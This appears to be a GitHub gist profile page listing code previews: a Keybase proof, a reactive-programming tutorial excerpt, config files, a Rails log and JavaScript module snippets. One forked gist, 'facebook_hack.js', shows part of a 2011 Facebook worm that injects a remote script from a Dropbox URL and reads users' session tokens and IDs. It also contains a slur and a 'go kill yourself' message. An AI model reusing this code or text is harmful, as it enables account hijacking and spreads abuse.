Skip to content

Instantly share code, notes, and snippets.

View thomasdavis's full-sized avatar

Thomas Davis thomasdavis

View GitHub Profile

Keybase proof

I hereby claim:

  • I am thomasdavis on github.
  • I am thomasdavis (https://keybase.io/thomasdavis) on keybase.
  • I have a public key whose fingerprint is 0BF3 622D 9D47 DB82 7CDD E1A5 2811 E1C5 FF43 2089

To claim this, I am signing this object:

### Keybase proof
I hereby claim:
* I am thomasdavis on github.
* I am thomasdavis (https://keybase.io/thomasdavis) on keybase.
* I have a public key whose fingerprint is 0BF3 622D 9D47 DB82 7CDD E1A5 2811 E1C5 FF43 2089
To claim this, I am signing this object:

The introduction to Reactive Programming you've been missing

(by @andrestaltz)

So you're curious in learning this new thing called (Functional) Reactive Programming (FRP).

Learning it is hard, even harder by the lack of good material. When I started, I tried looking for tutorials. I found only a handful of practical guides, but they just scratched the surface and never tackled the challenge of building the whole architecture around it. Library documentations often don't help when you're trying to understand some function. I mean, honestly, look at this:

Rx.Observable.prototype.flatMapLatest(selector, [thisArg])

Projects each element of an observable sequence into a new sequence of observable sequences by incorporating the element's index and then transforms an observable sequence of observable sequences into an observable sequence producing values only from the most recent observable sequence.

{
"checks": {
"cron_check": {
"handlers": ["default"],
"command": "/etc/sensu/plugins/check-procs.rb -p crond -C 1 ",
"interval": 60,
"subscribers": [ "all" ]
},
"nginx_check": {
"handlers": ["default"],
Started POST "/api/v1/users" for 127.0.0.1 at 2014-11-27 12:28:56 +1000
ActiveRecord::SchemaMigration Load (0.3ms) SELECT "schema_migrations".* FROM "schema_migrations"
Processing by Api::V1::UsersController#create as JSON
Parameters: {"email"=>"asssssstffffffddffssffhoddsdmsaafddfsdaggf@fgmasail.com", "user"=>{"email"=>"asssssstffffffddffssffhoddsdmsaafddfsdaggf@fgmasail.com"}}
(0.2ms) begin transaction
User Exists (0.4ms) SELECT 1 AS one FROM "users" WHERE LOWER("users"."email") = LOWER('asssssstffffffddffssffhoddsdmsaafddfsdaggf@fgmasail.com') LIMIT 1
Binary data inserted for `string` type on column `ip_address`
SQL (0.6ms) INSERT INTO "users" ("created_at", "email", "ip_address", "lat", "lon", "updated_at") VALUES (?, ?, ?, ?, ?, ?) [["created_at", "2014-11-27 02:28:57.008474"], ["email", "asssssstffffffddffssffhoddsdmsaafddfsdaggf@fgmasail.com"], ["ip_address", "127.0.0.1"], ["lat", 0.0], ["lon", 0.0], ["updated_at", "2014-11-27 02:28:57.008474"]]
(4.3ms) commit transaction
Render
include AlgoliaSearch
algoliasearch do
# all attributes will be sent
attributesForFaceting [:part_name]
add_attribute :part_name do
Part.find(part_id).name
end
customRanking ['asc(part_name)', 'asc(name)']
include AlgoliaSearch
algoliasearch do
# all attributes will be sent
attributesForFaceting [:part_name]
add_attribute :part_name do
Part.find(part_id).name
end
customRanking ['asc(part_name)', 'asc(name)']
@thomasdavis
thomasdavis / facebook_hack.js
Created May 12, 2011 07:00 — forked from tysonmote/facebook_hack.js
Nicole Santos Facebook hack
// 5/11/11 Facebook hack -- Started spreading and was quickly taken down by Dropbox (where the file was hosted).
var message = "Fuck you faggot. Go kill yourself. Do whatever the fuck you want. I hate you and the only way to remove all these posts is by disabling this below.";
var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://dl.dropbox.com/u/10505629/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();";
var myText = "Remove This App";
var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
@thomasdavis
thomasdavis / universal-module.js
Created September 7, 2011 01:02 — forked from ryanflorence/universal-module.js
Universal JavaScript Module, supports AMD (RequireJS), Node.js, and the browser.
(function (name, definition){
var theModule = definition(),
hasDefine = typeof define === 'function',
hasExports = typeof module !== 'undefined' && module.exports;
if (hasDefine){ // AMD Module
define(theModule);
} else if (hasExports) { // Node.js Module
module.exports = theModule;
@thomasdavis
thomasdavis / asd
Created September 22, 2011 00:43
asdasd
(function () {
//Sadly necessary browser inference due to differences in the way
//that browsers load and execute dynamically inserted javascript
//and whether the script/cache method works.
//Currently, Gecko and Opera do not load/fire onload for scripts with
//type="script/cache" but they execute injected scripts in order
//unless the 'async' flag is present.
//However, this is all changing in latest browsers implementing HTML5
//spec. Firefox nightly supports using the .async true by default, and
//if false, then it will execute in order. Favor that test first for forward